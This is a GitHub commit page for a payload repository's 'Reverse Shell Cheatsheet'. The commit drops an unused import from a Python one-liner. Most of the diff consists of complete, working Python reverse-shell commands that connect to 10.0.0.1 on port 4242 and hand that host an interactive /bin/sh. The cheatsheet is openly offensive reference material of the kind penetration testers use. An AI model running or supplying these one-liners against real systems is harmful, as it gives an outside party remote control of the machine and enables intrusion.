Skip to content

Commit

Permalink
Merge pull request swisskyrepo#445 from NirLevy98/reverse_shell_delet…
Browse files Browse the repository at this point in the history
…e-unused-imports

Delete unused import
  • Loading branch information
swisskyrepo authored Nov 7, 2021
2 parents a6eac59 + 4207479 commit 3366f5e
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Methodology and Resources/Reverse Shell Cheatsheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ Linux only

IPv4
```python
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```
```python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Expand Down

0 comments on commit 3366f5e

Please sign in to comment.